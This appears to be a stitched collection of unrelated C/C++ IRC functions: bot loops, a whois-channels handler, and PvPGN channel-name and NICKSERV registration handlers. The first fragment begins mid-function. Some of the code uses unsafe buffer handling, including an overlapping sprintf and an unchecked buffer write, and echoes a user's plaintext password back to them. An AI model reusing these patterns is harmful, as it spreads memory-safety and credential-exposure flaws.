printf("Connected.\n"); signal(SIGINT, extern_exit); while(1) { fgets(console, 512, stdin); if(console[0] == '\n') break; strrtok(console, "\r\n"); if(istrcmp(console, "exit")) break; else if(istrcmp(console, "rehash")) { printf("\nRehashing configuration...\n"); if(!rehashconfig()) printf("Failed."); else printf("Done."); } else irc_send(console, 1); } irc_quit(NULL); free_xion_memory(); event_call(EVENT_EXIT, 0); log_write("*** Program ended successfully. Allocation Calls: %d Free Calls: %d", stats.alloc_calls, stats.free_calls); return 0; }
/* Respond if someone writes the bot's nickname. */ void cmd_privmsg(ircPacket* ircP) { if (strncmp(ircP->trailing, NICK, strlen(NICK)) == 0) { irc_send("PRIVMSG %s :Hello %s! Your user@host is %s@%s!", ircP->params[1], ircP->nick, ircP->user, ircP->host); } }
void handlewhoischannels(int hooknum, void *arg) { channel **chans; char buffer[1024]; unsigned int bufpos; sstring *name; unsigned long *num; int i; char **args = (char **)arg; nick *sender = (nick *)args[0]; /* sender nick */ nick *target = (nick *)args[1]; /* target nick */ char *sourcenum = args[2]; /* source numeric */ /* do not show channels for +k service clients or IRC Operators * do not show channels for +n users * unless they whois themselves */ if ((IsService(target) || IsHideChan(target)) && sender != target) return; chans = (channel **)(target->channels->content); buffer[0] = '\0'; bufpos=0; /* Not handling delayed joins. */ for(i=target->channels->cursi-1;i>=0;i--) { /* Secret / Private channels: only show if the sender is on the channel as well */ if(IsSecret(chans[i]) || IsPrivate(chans[i])) { if (!getnumerichandlefromchanhash(chans[i]->users, sender->numeric)) continue; } name = chans[i]->index->name; if (bufpos + name->length > 508) { /* why 508? - need room for -@#channame\0 + 1 slack */ irc_send("%s", buffer); buffer[0] = '\0'; bufpos=0; } /* * 319 RPL_WHOISCHANNELS "source 319 target nick :channels" * "irc.netsplit.net 319 foobar barfoo :@#chan1 +#chan2 #chan3" * "irc.netsplit.net 319 foobar barfoo :-@#chan1 -+#chan2 -#chan3" */ if(buffer[0] == '\0') bufpos=snprintf(buffer, sizeof(buffer), "%s 319 %s %s :", getmynumeric(), sourcenum, target->nick); num = getnumerichandlefromchanhash(chans[i]->users, target->numeric); /* Adding these flags might make the string "unsafe" (without terminating \0). */ /* sprintf'ing the channel name afterwards is guaranteed to fix it though */ if (IsDeaf(target)) buffer[bufpos++]='-'; if (*num & CUMODE_OP) buffer[bufpos++]='@'; else if (*num & CUMODE_VOICE) buffer[bufpos++]='+'; bufpos += sprintf(buffer+bufpos, "%s ",name->content); } if (buffer[0] != '\0') irc_send("%s", buffer); }
void irc_main_loop(irc_t* irc) { char buffer[512]; while(irc_read_line(irc, buffer, 512) > 0) { if(strstr(buffer, "005") != NULL) { break; } } while(irc_read_line(irc, buffer, 512) > 0) { char* user_info; char* command; char* arguments; if(strstr(buffer, "PING") == buffer) { buffer[1] = 'O'; irc_send(irc, "%s\r\n", buffer); } if(strstr(buffer, "lol quit") != NULL) { return; } if(*buffer != ':') { continue; } user_info = strtok(buffer + 1, " "); command = strtok(NULL, " "); arguments = strtok(NULL, "\0"); if(command == NULL) continue; if(strcmp("PRIVMSG", command) == 0) { //printf("K, it was PRIVMSG\n"); message_t* message = malloc(sizeof(message_t)); //printf("Mallocing\n"); user_t* user = malloc(sizeof(user_t)); //printf("Getting USER\n"); message->channel = strtok(arguments, " "); message->message = strtok(NULL, "\0"); message->message++; //printf("Parsed Message\n"); user->nick = strtok(user_info, "!"); user->user = strtok(NULL, "@"); user->host = strtok(NULL, "\0"); //printf("Parsed user\n"); if(!list_isempty(privmsg_list)) { //printf("list isn't empty\n"); struct node* cur = NULL; //printf("Calling funcs.\n"); for(cur = privmsg_list->start; cur != NULL; cur = cur->next) { //printf("Calling function!\n"); if(cur->data != NULL) ((fn_message_received) cur->data)(irc, user, message); //printf("Called\n"); } } free(message); free(user); } } }
extern int irc_send_rpl_namreply(t_connection * c, t_channel const * channel) { char temp[MAX_IRC_MESSAGE_LEN]; char const * ircname; int first = 1; t_connection * m; if (!c) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL connection"); return -1; } if (!channel) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL channel"); return -1; } memset(temp,0,sizeof(temp)); ircname = irc_convert_channel(channel); if (!ircname) { eventlog(eventlog_level_error,__FUNCTION__,"channel has NULL ircname"); return -1; } /* '@' = secret; '*' = private; '=' = public */ if ((1+1+strlen(ircname)+2+1)<=MAX_IRC_MESSAGE_LEN) { sprintf(temp,"%c %s :",((channel_get_permanent(channel))?('='):('*')),ircname); } else { eventlog(eventlog_level_warn,__FUNCTION__,"maximum message length exceeded"); return -1; } /* FIXME: Add per user flags (@(op) and +(voice))*/ for (m = channel_get_first(channel);m;m = channel_get_next()) { char const * name = conn_get_chatname(m); char flg[5] = ""; unsigned int flags; if (!name) continue; flags = conn_get_flags(m); if (flags & MF_BLIZZARD) strcat(flg,"@"); else if ((flags & MF_BNET) || (flags & MF_GAVEL)) strcat(flg,"%"); else if (flags & MF_VOICE) strcat(flg,"+"); if ((strlen(temp)+((!first)?(1):(0))+strlen(flg)+strlen(name)+1)<=sizeof(temp)) { if (!first) strcat(temp," "); if((conn_get_wol(c) == 1)) { if ((channel_wol_get_game_owner(channel) != NULL) && (strcmp(channel_wol_get_game_owner(channel),name) == 0)) { strcat(temp,"@"); } sprintf(temp,"%s%s,0,%u",temp,name,conn_get_addr(m)); } else { strcat(temp,flg); strcat(temp,name); } first = 0; } conn_unget_chatname(m,name); } irc_send(c,RPL_NAMREPLY,temp); return 0; }
static int _handle_privmsg_command(t_connection * conn, int numparams, char ** params, char * text) { if ((numparams>=1)&&(text)) { int i; char ** e; e = irc_get_listelems(params[0]); /* FIXME: support wildcards! */ /* start amadeo: code was sent by some unkown fellow of pvpgn (maybe u wanna give us your name for any credits), it adds nick-registration, i changed some things here and there... */ for (i=0; ((e)&&(e[i])); i++) { if (strcasecmp(e[i],"NICKSERV")==0) { char * pass; char * p; pass = std::strchr(text,' '); if (pass) *pass++ = '\0'; if (strcasecmp(text,"identify")==0) { switch (conn_get_state(conn)) { case conn_state_bot_password: { if (pass) { t_hash h; for (p = pass; *p; p++) if (std::isupper((int)*p)) *p = std::tolower(*p); bnet_hash(&h,std::strlen(pass),pass); irc_authenticate(conn,hash_get_str(h)); } else { message_send_text(conn,message_type_notice,NULL,"Syntax: IDENTIFY <password> (max 16 characters)"); } break; } case conn_state_loggedin: { message_send_text(conn,message_type_notice,NULL,"You don't need to IDENTIFY"); break; } default: ; eventlog(eventlog_level_trace,__FUNCTION__,"got /msg in unexpected connection state (%s)",conn_state_get_str(conn_get_state(conn))); } } else if (strcasecmp(text,"register")==0) { unsigned int j; t_hash passhash; t_account * temp; char msgtemp[MAX_IRC_MESSAGE_LEN]; char * username=(char *)conn_get_loggeduser(conn); if (account_check_name(username)<0) { message_send_text(conn,message_type_error,conn,"Account name contains invalid symbol!"); break; } if(!prefs_get_allow_new_accounts()) { message_send_text(conn,message_type_error,conn,"Account creation is not allowed"); break; } if (!pass || pass[0]=='\0' || (std::strlen(pass)>16) ) { message_send_text(conn,message_type_error,conn,"Syntax: REGISTER <password> (max 16 characters)"); break; } for (j=0; j<std::strlen(pass); j++) if (std::isupper((int)pass[j])) pass[j] = std::tolower((int)pass[j]); bnet_hash(&passhash,std::strlen(pass),pass); snprintf(msgtemp, sizeof(msgtemp), "Trying to create account \"%s\" with password \"%s\"",username,pass); message_send_text(conn,message_type_info,conn,msgtemp); temp = accountlist_create_account(username,hash_get_str(passhash)); if (!temp) { message_send_text(conn,message_type_error,conn,"Failed to create account!"); eventlog(eventlog_level_debug,__FUNCTION__,"[%d] account \"%s\" not created (failed)",conn_get_socket(conn),username); conn_unget_chatname(conn,username); break; } snprintf(msgtemp, sizeof(msgtemp), "Account "UID_FORMAT" created.",account_get_uid(temp)); message_send_text(conn,message_type_info,conn,msgtemp); eventlog(eventlog_level_debug,__FUNCTION__,"[%d] account \"%s\" created",conn_get_socket(conn),username); conn_unget_chatname(conn,username); } else { char tmp[MAX_IRC_MESSAGE_LEN+1]; message_send_text(conn,message_type_notice,NULL,"Invalid arguments for NICKSERV"); snprintf(tmp, sizeof(tmp), ":Unrecognized command \"%s\"", text); message_send_text(conn,message_type_notice,NULL,tmp); } } else if (conn_get_state(conn)==conn_state_loggedin) { if (e[i][0]=='#') { /* channel message */ t_channel * channel; if ((channel = channellist_find_channel_by_name(irc_convert_ircname(e[i]),NULL,NULL))) { if ((std::strlen(text)>=9)&&(std::strncmp(text,"\001ACTION ",8)==0)&&(text[std::strlen(text)-1]=='\001')) { /* at least "\001ACTION \001" */ /* it's a CTCP ACTION message */ text = text + 8; text[std::strlen(text)-1] = '\0'; channel_message_send(channel,message_type_emote,conn,text); } else { channel_message_log(channel, conn, 1, text); channel_message_send(channel,message_type_talk,conn,text); } } else { irc_send(conn,ERR_NOSUCHCHANNEL,":No such channel"); } } else { /* whisper */ t_connection * user; if ((user = connlist_find_connection_by_accountname(e[i]))) { message_send_text(user,message_type_whisper,conn,text); } else { irc_send(conn,ERR_NOSUCHNICK,":No such user"); } } } } if (e) irc_unget_listelems(e); } else irc_send(conn,ERR_NEEDMOREPARAMS,"PRIVMSG :Not enough parameters"); return 0; }
static void directsend(char *buf) { irc_send("%s P %s", controlnum, buf); }